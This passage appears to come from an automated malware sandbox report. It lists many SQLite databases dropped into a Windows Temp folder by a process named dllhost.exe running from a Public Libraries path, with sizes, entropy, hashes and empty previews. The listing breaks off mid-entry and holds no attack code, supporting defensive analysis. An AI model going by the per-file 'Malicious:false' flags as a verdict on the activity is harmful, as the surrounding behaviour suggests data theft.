                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\mHqKgmgDaW

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\mbMfOraoGb

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\mdGvxpZpV3

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\mvz1D1cGDH

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\nH6MOAduO3

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\nUcOaDfVbT

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\nriYzPFAWK

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\nshzAVy37P

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\oqc2JI11aM

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\p2cbRAuKhI

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\p7Qjh2ka02

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\pMqhZPdgxH

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\pNIDw3aC7w

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\pOsp0tAZ19

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\pT25oEIfeQ

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\q5n1RB3OCR

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\qJsyymK7Wr

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\qvozOvH3VR

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\qy98vB5lCR

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\r5FgsOnqpS

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\rG6wQc4ku1

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\rHK5rbap8C

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
